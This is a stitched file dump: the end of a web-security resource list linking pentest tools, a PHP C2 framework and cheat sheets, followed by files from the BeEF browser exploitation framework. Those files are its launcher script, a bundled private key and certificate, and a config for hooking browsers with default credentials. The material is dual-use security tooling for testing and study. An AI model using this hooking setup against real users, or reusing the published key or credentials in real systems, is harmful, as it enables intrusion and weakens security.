* https://github.com/nil0x42/phpsploit PhpSploit - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner
* https://webhint.io/ - webhint - webhint is a customizable linting tool that helps you improve your site's accessibility, speed, cross-browser compatibility, and more by checking your code for best practices and common errors.
* https://gtfobins.github.io/ - gtfobins - GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
* https://github.com/HightechSec/git-scanner git-scanner - A tool for bug hunting or pentesting for targeting websites that have open `.git` repositories available in public
* [Web Application Exploitation @ Rawsec Inventory](https://inventory.raw.pm/tools.html#title-tools-web-application-exploitation) - Complete list of Web pentesting tools
* [Cyclops is a novel browser that can detect vulnerability automatically](https://github.com/v8blink/Chromium-based-XSS-Taint-Tracking/) - Cyclops is a web browser with XSS detection feature
* https://caido.io/ - Web proxy
* https://github.com/assetnote/kiterunner - API discovery
* https://github.com/owasp-amass/amass - domain recon
* [https://columbus.elmasy.com/](https://columbus.elmasy.com/) - Columbus Project is an advanced subdomain discovery service with fast, powerful and easy to use API.
## Cheat Sheets
* http://n0p.net/penguicon/php_app_sec/mirror/xss.html - XSS cheatsheet
* https://highon.coffee/blog/lfi-cheat-sheet/ - LFI Cheat Sheet
* https://highon.coffee/blog/reverse-shell-cheat-sheet/ - Reverse Shell Cheat Sheet
* https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ - SQL Injection Cheat Sheet
* https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/ - Path Traversal Cheat Sheet: Windows
## Docker images for Penetration Testing
* `docker pull kalilinux/kali-linux-docker` [official Kali Linux](https://hub.docker.com/r/kalilinux/kali-linux-docker/)
* `docker pull blackarchlinux/blackarch` [official BlackArch Linux](https://hub.docker.com/r/blackarchlinux/blackarch)
* `docker pull owasp/zap2docker-stable` - [official OWASP ZAP](https://github.com/zaproxy/zaproxy)
* `docker pull wpscanteam/wpscan` - [official WPScan](https://hub.docker.com/r/wpscanteam/wpscan/)
* `docker pull metasploitframework/metasploit-framework` - [docker-metasploit](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
* `docker pull citizenstig/dvwa` - [Damn Vulnerable Web Application (DVWA)](https://hub.docker.com/r/citizenstig/dvwa/)
* `docker pull bkimminich/juice-shop` [OWASP Juice Shop](https://hub.docker.com/r/bkimminich/juice-shop)
* `docker pull wpscanteam/vulnerablewordpress` - [Vulnerable WordPress Installation](https://hub.docker.com/r/wpscanteam/vulnerablewordpress/)
* `docker pull hmlio/vaas-cve-2014-6271` - [Vulnerability as a service: Shellshock](https://hub.docker.com/r/hmlio/vaas-cve-2014-6271/)
* `docker pull hmlio/vaas-cve-2014-0160` - [Vulnerability as a service: Heartbleed](https://hub.docker.com/r/hmlio/vaas-cve-2014-0160/)
* `docker pull opendns/security-ninjas` - [Security Ninjas](https://hub.docker.com/r/opendns/security-ninjas/)
* `docker pull noncetonic/archlinux-pentest-lxde:1.0` - [Arch Linux Penetration Tester](https://hub.docker.com/r/noncetonic/archlinux-pentest-lxde/)
* `docker pull diogomonica/docker-bench-security` - [Docker Bench for Security](https://hub.docker.com/r/diogomonica/docker-bench-security/)
* `docker pull ismisepaul/securityshepherd` - [OWASP Security Shepherd](https://hub.docker.com/r/ismisepaul/securityshepherd/)
* `docker pull danmx/docker-owasp-webgoat` - [OWASP WebGoat Project docker image](https://hub.docker.com/r/webgoat/goatandwolf)
* `docker pull docker pull jeroenwillemsen/wrongsecrets` - [OWASP WrongSecrets Project docker image](https://hub.docker.com/r/jeroenwillemsen/wrongsecrets)
* `docker pull citizenstig/nowasp` - [OWASP Mutillidae II Web Pen-Test Practice Application](https://hub.docker.com/r/citizenstig/nowasp/)
* `docker pull aaaguirre/pentest` - [Docker for pentest](https://github.com/aaaguirrep/pentest)
* `docker pull rustscan/rustscan:2.0.0` - [The Modern Port Scanner](https://github.com/RustScan/RustScan)
## Vulnerabilities
* http://cve.mitre.org/ - Common Vulnerabilities and Exposures. The Standard for Information Security Vulnerability Names
* https://www.exploit-db.com/ - The Exploit Database – ultimate archive of Exploits, Shellcode, and Security Papers.
* http://0day.today/ - Inj3ct0r is the ultimate database of exploits and vulnerabilities and a great resource for vulnerability researchers and security professionals.
* http://osvdb.org/ - OSVDB's goal is to provide accurate, detailed, current, and unbiased technical security information.
* http://www.securityfocus.com/ - Since its inception in 1999, SecurityFocus has been a mainstay in the security community.
* http://packetstormsecurity.com/ - Global Security Resource
* https://wpvulndb.com/ - WPScan Vulnerability Database
* https://snyk.io/vuln/ - Vulnerability DB, Detailed information and remediation guidance for known vulnerabilities.
## Courses
* https://www.elearnsecurity.com/course/web_application_penetration_testing/ eLearnSecurity Web Application Penetration Testing
* https://www.elearnsecurity.com/course/web_application_penetration_testing_extreme/ eLearnSecurity Web Application Penetration Testing eXtreme
* https://www.offensive-security.com/information-security-training/advanced-web-attack-and-exploitation/ Offensive Security Advanced Web Attacks and Exploitation (live)
* https://www.sans.org/course/web-app-penetration-testing-ethical-hacking Sans SEC542: Web App Penetration Testing and Ethical Hacking
* https://www.sans.org/course/advanced-web-app-penetration-testing-ethical-hacking Sans SEC642: Advanced Web App Penetration Testing and Ethical Hacking
* http://opensecuritytraining.info/ - Open Security Training
* http://securitytrainings.net/security-trainings/ - Security Exploded Training
* http://www.securitytube.net/ - World’s largest Infosec and Hacking Portal.
* https://www.hacker101.com/ - Free class for web security by [Hackerone](https://www.hackerone.com)
## Online Hacking Demonstration Sites
* http://testasp.vulnweb.com/ - Acunetix ASP test and demonstration site
* http://testaspnet.vulnweb.com/ - Acunetix ASP.Net test and demonstration site
* http://testphp.vulnweb.com/ - Acunetix PHP test and demonstration site
* http://crackme.cenzic.com/kelev/view/home.php - Crack Me Bank
* http://zero.webappsecurity.com/ - Zero Bank
* http://demo.testfire.net/ - Altoro Mutual
* https://public-firing-range.appspot.com/ - Firing Range is a test bed for automated web application security scanners.
* https://xss-game.appspot.com/ - XSS challenge
* https://google-gruyere.appspot.com/ Google Gruyere, web application exploits and defenses
* https://ginandjuice.shop/catalog
## Labs
* https://portswigger.net/web-security - Web Security Academy: Free Online Training from PortSwigger
* http://www.cis.syr.edu/~wedu/seed/all_labs.html - Developing Instructional Laboratories for Computer SEcurity EDucation
* https://www.vulnhub.com/ - Virtual Machines for Localhost Penetration Testing.
* https://pentesterlab.com/ - PentesterLab is an easy and great way to learn penetration testing.
* https://github.com/jerryhoff/WebGoat.NET - This web application is a learning platform about common web security flaws.
* http://www.dvwa.co.uk/ - Damn Vulnerable Web Application (DVWA)
* http://sourceforge.net/projects/lampsecurity/ - LAMPSecurity Training
* https://github.com/Audi-1/sqli-labs - SQLI labs to test error based, Blind boolean based, Time based.
* https://github.com/paralax/lfi-labs - small set of PHP scripts to practice exploiting LFI, RFI and CMD injection vulns
* https://hack.me/ - Build, host and share vulnerable web apps in a sandboxed environment for free
* http://azcwr.org/az-cyber-warfare-ranges - Free live fire Capture the Flag, blue team, red team Cyber Warfare Range for beginners through advanced users. Must use a cell phone to send a text message requesting access to the range.
* https://github.com/adamdoupe/WackoPicko - WackoPicko is a vulnerable web application used to test web application vulnerability scanners.
* https://github.com/rapid7/hackazon - Hackazon is a free, vulnerable test site that is an online storefront built with the same technologies used in today’s rich client and mobile applications.
* https://github.com/RhinoSecurityLabs/cloudgoat - Rhino Security Labs' "Vulnerable by Design" AWS infrastructure setup tool
* https://www.hackthebox.eu/ - Hack The Box is an online platform allowing you to test and advance your skills in cyber security.
* https://github.com/tegal1337/0l4bs - 0l4bs is a Cross-site scripting labs for web application security enthusiasts.
* https://github.com/oliverwiegers/pentest_lab - Local pentest lab leveraging docker compose.
* https://ginandjuice.shop/catalog
* https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
## SSL
* https://www.ssllabs.com/ssltest/index.html - This service performs a deep analysis of the configuration of any SSL web server on the public Internet.
* http://certdb.com/ - SSL/TLS data provider service. Collect the data about digital certificates - issuers, organisation, whois, expiration dates, etc... Plus, has handy filters for convenience.
* https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html - Strong SSL Security on nginx
* https://weakdh.org/ - Weak Diffie-Hellman and the Logjam Attack
* https://letsencrypt.org/ - Let’s Encrypt is a new Certificate Authority: It’s free, automated, and open.
* https://filippo.io/Heartbleed/ - A checker (site and tool) for CVE-2014-0160 (Heartbleed).
* https://testssl.sh/ - A command line tool which checks a website's TLS/SSL ciphers, protocols and cryptographic flaws.
## Security Ruby on Rails
* http://brakemanscanner.org/ - A static analysis security vulnerability scanner for Ruby on Rails applications.
* https://github.com/rubysec/ruby-advisory-db - A database of vulnerable Ruby Gems
* https://github.com/rubysec/bundler-audit - Patch-level verification for Bundler
* https://github.com/hakirisec/hakiri_toolbelt - Hakiri Toolbelt is a command line interface for the Hakiri platform.
* https://hakiri.io/facets - Scan Gemfile.lock for vulnerabilities.
* http://rails-sqli.org/ - This page lists many query methods and options in ActiveRecord which do not sanitize raw SQL arguments and are not intended to be called with unsafe user input.
* https://github.com/0xsauby/yasuo - A ruby script that scans for vulnerable & exploitable 3rd-party web applications on a network |
beef/.gitignore | ### BeEF ###
beef.db
beef.log
test/msf-test
extensions/admin_ui/media/javascript-min/
custom-config.yaml
.DS_Store
.gitignore
.rvmrc
beef.log
extensions/metasploit/msf-exploits.cache
# ruby debugging
.byebug_history
# Bundler
/.bundle
/vendor
#simplecov
coverage/
# BrowserStack
local.log
# The following lines were created by https://www.gitignore.io
### Linux ###
*~
# KDE directory preferences
.directory
### vim ###
[._]*.s[a-w][a-z]
[._]s[a-w][a-z]
*.un~
Session.vim
.netrwhist
*~
### Emacs ###
# -*- mode: gitignore; -*-
*~
\#*\#
/.emacs.desktop
/.emacs.desktop.lock
*.elc
auto-save-list
tramp
.\#*
# Org-mode
.org-id-locations
*_archive
# flymake-mode
*_flymake.*
# eshell files
/eshell/history
/eshell/lastdir
# elpa packages
/elpa/
# reftex files
*.rel
# AUCTeX auto folder
/auto/
# cask packages
.cask/
### nanoc ###
# For projects using nanoc (http://nanoc.ws/)
# Default location for output, needs to match output_dir's value found in config.yaml
output/
# Temporary file directory
tmp/
# Crash Log
crash.log
### Windows ###
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Windows Installer files
*.cab
*.msi
*.msm
*.msp
# Windows shortcuts
*.lnk
### TortoiseGit ###
# Project-level settings
/.tgitconfig
test/thirdparty/msf/unit/.byebug_history
/load
### JSDoc ###
# Dependency directories
node_modules/
# Generated files
out/
doc/rdoc/ |
|
YAML | beef/.rubocop.yml | AllCops:
Exclude:
- 'test/**/*'
- 'tmp/**/*'
- 'tools/**/*'
- 'doc/**/*'
TargetRubyVersion: 3.0
NewCops: enable
Layout/LineLength:
Enabled: true
Max: 180
Metrics/AbcSize:
Enabled: false
Metrics/BlockLength:
Enabled: false
Metrics/ClassLength:
Enabled: false
Metrics/MethodLength:
Enabled: false
Metrics/ModuleLength:
Enabled: false
Metrics/PerceivedComplexity:
Enabled: false
Metrics/CyclomaticComplexity:
Enabled: false
Naming/ClassAndModuleCamelCase:
Enabled: false
Style/FrozenStringLiteralComment:
Enabled: false
Style/Documentation:
Enabled: false |
beef/beef | #!/usr/bin/env ruby
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#
# @note stop Fixnum deprecation warning from being displayed
#
$VERBOSE = nil
#
# @note Version check to ensure BeEF is running Ruby 2.7+
#
min_ruby_version = '2.7'
if RUBY_VERSION < min_ruby_version
puts
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
puts
exit 1
end
#
# @note Platform check to ensure BeEF is not running on Windows
#
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
puts
puts "Ruby platform #{RUBY_PLATFORM} is not supported."
puts
exit 1
end
#
# @note set load path, application root directory and user preferences directory
#
$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.')
$:.unshift($root_dir)
$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
#
# @note Require core loader
#
require 'core/loader'
require 'timeout'
#
# @note Ask user if they would like to update beef
#
if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
print 'Checking latest BeEF repository and updating'
`git pull && bundle`
elsif `git rev-parse master` != `git rev-parse origin/master`
begin
Timeout.timeout(5) do
puts '-- BeEF Update Available --'
print 'Would you like to update to lastest version? y/n: '
response = gets
`git pull && bundle` if response&.strip == 'y'
end
rescue Timeout::Error
puts "\nUpdate Skipped with input timeout"
end
end
end
#
# @note Create ~/.beef/
#
begin
FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
rescue => e
print_error "Could not create '#{$home_dir}': #{e.message}"
exit 1
end
#
# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.
#
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
else
config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
end
#
# @note set log level
#
BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN
#
# @note Check the system language settings for UTF-8 compatibility
#
env_lang = ENV['LANG']
if env_lang !~ /(utf8|utf-8)/i
print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
if env_lang =~ /\A([a-z]+_[a-z]+)\./i
country = $1
print_more "Try: export LANG=#{country}.utf8"
end
end
#
# @note Check if port and WebSocket port need to be updated from command line parameters
#
unless BeEF::Core::Console::CommandLine.parse[:port].empty?
config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
end
unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end
#
# @note Validate configuration file
#
unless BeEF::Core::Configuration.instance.validate
exit 1
end
#
# @note Exit on default credentials
#
if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef')
print_error "ERROR: Default username and password in use!"
print_more "Change the beef.credentials.passwd in config.yaml"
exit 1
end
#
# @note Validate beef.http.public and beef.http.public_port
#
unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
exit 1
end
unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
exit 1
end
#
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
#
require 'core/bootstrap'
#
# @note Prints the BeEF ascii art if the -a flag was passed
#
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
BeEF::Core::Console::Banners.print_ascii_art
end
#
# @note Prints BeEF welcome message
#
BeEF::Core::Console::Banners.print_welcome_msg
#
# @note Loads enabled extensions
#
BeEF::Extensions.load
#
# @note Loads enabled modules
#
BeEF::Modules.load
#
# @note Disable reverse DNS
#
Socket.do_not_reverse_lookup = true
#
# @note Database setup
#
#
# @note Load the database
#
db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
begin
File.delete(db_file) if File.exist?(db_file)
rescue => e
print_error("Could not remove '#{db_file}' database file: #{e.message}")
exit(1)
end
end
# Connect to DB
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
# otr-activerecord require you to manually establish the connection with the following line
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
OTR::ActiveRecord.establish_connection!
end
# Migrate (if required)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end
#
# @note Extensions may take a moment to load, thus we print out a please wait message
#
print_info 'BeEF is loading. Wait a few seconds...'
#
# @note Execute migration procedure, checks for new modules
#
begin
BeEF::Core::Migration.instance.update_db!
rescue => e
print_error("Could not update '#{db_file}' database file: #{e.message}")
exit(1)
end
#
# @note Create HTTP Server and prepare it to run
#
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
begin
BeEF::Core::Logger.instance.register('System', 'BeEF server started')
rescue => e
print_error("Database connection failed: #{e.message}")
exit(1)
end
#
# @note Prints information back to the user before running the server
#
BeEF::Core::Console::Banners.print_loaded_extensions
BeEF::Core::Console::Banners.print_loaded_modules
BeEF::Core::Console::Banners.print_network_interfaces_count
BeEF::Core::Console::Banners.print_network_interfaces_routes
#
# @note Prints the API key needed to use the RESTful API
#
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#
# @note Load the GeoIP database
#
BeEF::Core::GeoIp.instance
#
# @note Call the API method 'pre_http_start'
#
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
#
# @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
#
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
#
# @note Start the WebSocket server
#
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
BeEF::Core::Console::Banners.print_websocket_servers
end
#
# @note Start HTTP server
#
print_info 'BeEF server started (press control+c to stop)'
http_hook_server.start |
|
beef/beef_cert.pem | -----BEGIN CERTIFICATE-----
MIIECTCCAnGgAwIBAgIUbx/YybkSOL8uO0qikl/wsL4xLeIwDQYJKoZIhvcNAQEL
BQAwFDESMBAGA1UEAwwJbG9jYWxob3N0MB4XDTE5MDIxNjEzMjYxNFoXDTI5MDIx
MzEzMjYxNFowFDESMBAGA1UEAwwJbG9jYWxob3N0MIIBojANBgkqhkiG9w0BAQEF
AAOCAY8AMIIBigKCAYEAteQJ2fooOffGU8jFkArCsFaJZW5WSuc5j7i2ciG0LY2C
lVg1Uy7/6xHe048RJAD9AnWajf9Jt7NpAAoyRmFJOepZS8CStON4mBrKUFI4rzAB
W9F7nov5+k+GK11kuvPFyAQCGs82RpGXsEP2ktsimsWvI8jnt7B+DXltqxeWavXB
TYOTsDhyRxXcNPGgenOabtya1XsAecTs4JPOsV4L/hnTS70X8BNOcMRFRNb3W5C0
w3vnid9Q6jhDRC6ghpeVWgnlymqV0Y6v1pbWZRs71sKQF/V5Td5zA8pr9r30YFAD
Wbkb33vicU5BkZ8PQeUygqtqKOhni9i8Yg1otkXmqWsmo5sV/GgKHvkxOoQBlzv3
hhMyYEnKjhPuepKl/VW17zRFdMCQZbvtW9/WBX4AwtKNAxYiRRO5jvDU1pX0nfXw
86ZPfkbkPdJJYqZqqsOSSOVSpCkoLJv/owaY10XwgSEl8rA+3t03/9B6s09Q0o28
0zXu/CMiSBNSEJlJSNdZAgMBAAGjUzBRMB0GA1UdDgQWBBTULhamHun+PWMkHDzg
5yHcv0KOmTAfBgNVHSMEGDAWgBTULhamHun+PWMkHDzg5yHcv0KOmTAPBgNVHRMB
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBgQAZo9xPTktJ1aTxTXfLKivqbPin
5CiRl5DWh1niPUFowmuAGbDCYOHA/+fzhBhFWj3LVaX2dQSpYxiqnfb5FWaxNK+8
9A0AKgf8f2cpJ22QleDFOsyCw8jxzSfmOKKQLifY5Ty5C5P8xb9T0B7LbyR8r17p
sr77eM/5tBpsIIh40AZjoDhi/HHrtqxEb+DgnTRHIBMmzvwkk+v4iXBDCO5BHFof
gVXOF3MrovhH+qA8HFl9diJ6MtTltVAqI0eShBLd2MJ068qKqb+I6pyXGmlrk9Ei
H0XrKlKEKjyum6ZEPr5Mn+NA+4ePRv1mPHoaopJoNhgRislfryGFLJwxeuMJfQOU
oZTmgK8Ur0TYLl/wqf9avX3A8hkffNZXukmzNwjzLVG252RPA2Iq3y1+7VgOjaBJ
rNbwArYInhfF5hJesjo3LAD9H29dFxR6dztpOcDCkaOZEdlz+fvqUFYJzwuHmuSi
DLyqAOr77CjoWEMSHcXUEGUeJDKVqLgzqC9lqf4=
-----END CERTIFICATE----- |
|
beef/beef_key.pem | -----BEGIN PRIVATE KEY-----
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
jyItP2FJBbw7BlIq7t2c2G66
-----END PRIVATE KEY----- |
|
JSON | beef/conf.json | {
"source": {
"include": ["./core/main/client"],
"includePattern": ".js$"
},
"plugins": [
"plugins/markdown"
],
"opts": {
"encoding": "utf8",
"readme": "./README.md",
"destination": "docs/",
"recurse": true,
"verbose": true
}
} |
YAML | beef/config.yaml | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.5.4.0'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
client_debug: false
# Used for generating secure tokens
crypto_default_value_length: 80
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
user: "beef"
passwd: "beef"
# Interface / IP restrictions
restrictions:
# subnet of IP addresses that can hook to the framework
permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that cannot be hooked by the framework
excluded_hooking_subnet: []
# slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05"
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
# Decrease this setting to 1,000 (ms) if you want more responsiveness
# when sending modules and retrieving results.
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
# when hooking lots of browsers (50+).
# Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 1000
# Public Domain Name / Reverse Proxy / Port Forwarding
#
# In order for the client-side BeEF JavaScript hook to be able to connect to BeEF,
# the hook JavaScript needs to be generated with the correct connect-back details.
#
# If you're using a public domain name, reverse proxy, or port forwarding you must
# configure the public-facing connection details here.
#public:
# host: "beef.local" # public hostname/IP address
# port: "443" # public port (443 if the public server is using HTTPS)
# https: false # true/false
# If using any reverse proxy you should also set allow_reverse_proxy to true below.
# Note that this causes the BeEF server to trust the X-Forwarded-For HTTP header.
# If the BeEF server is directly accessible, clients can spoof their connecting
# IP address using this header to bypass the IP address permissions/exclusions.
allow_reverse_proxy: false
# Hook
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
# Allow one or multiple origins to access the RESTful API using CORS
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
restful_api:
allow_cors: false
cors_allowed_domains: "http://browserhacker.com"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
port: 61985 # WS: good success rate through proxies
# Use encrypted 'WebSocketSecure'
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: true
type: "apache" # Supported: apache, iis, nginx
hook_404: false # inject BeEF hook in HTTP 404 responses
hook_root: false # inject BeEF hook in the server home page
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.public (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
database:
file: "beef.db"
# Autorun Rule Engine
autorun:
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
# continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
result_poll_interval: 300
result_poll_timeout: 5000
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false
# IP Geolocation
geoip:
enable: true
# GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
database: '/usr/share/GeoIP/GeoLite2-City.mmdb'
# You may override default extension configuration parameters here
# Note: additional experimental extensions are available in the 'extensions' directory
# and can be enabled via their respective 'config.yaml' file
extension:
admin_ui:
enable: true
base_path: "/ui"
demos:
enable: true
events:
enable: true
evasion:
enable: false
requester:
enable: true
proxy:
enable: true
network:
enable: true
metasploit:
enable: false
social_engineering:
enable: true
xssrays:
enable: true |
beef/Dockerfile | ###########################################################################################################
###########################################################################################################
## ##
## Please read the Wiki Installation section on set-up using Docker prior to building this container. ##
## BeEF does NOT allow authentication with default credentials. So please, at the very least ##
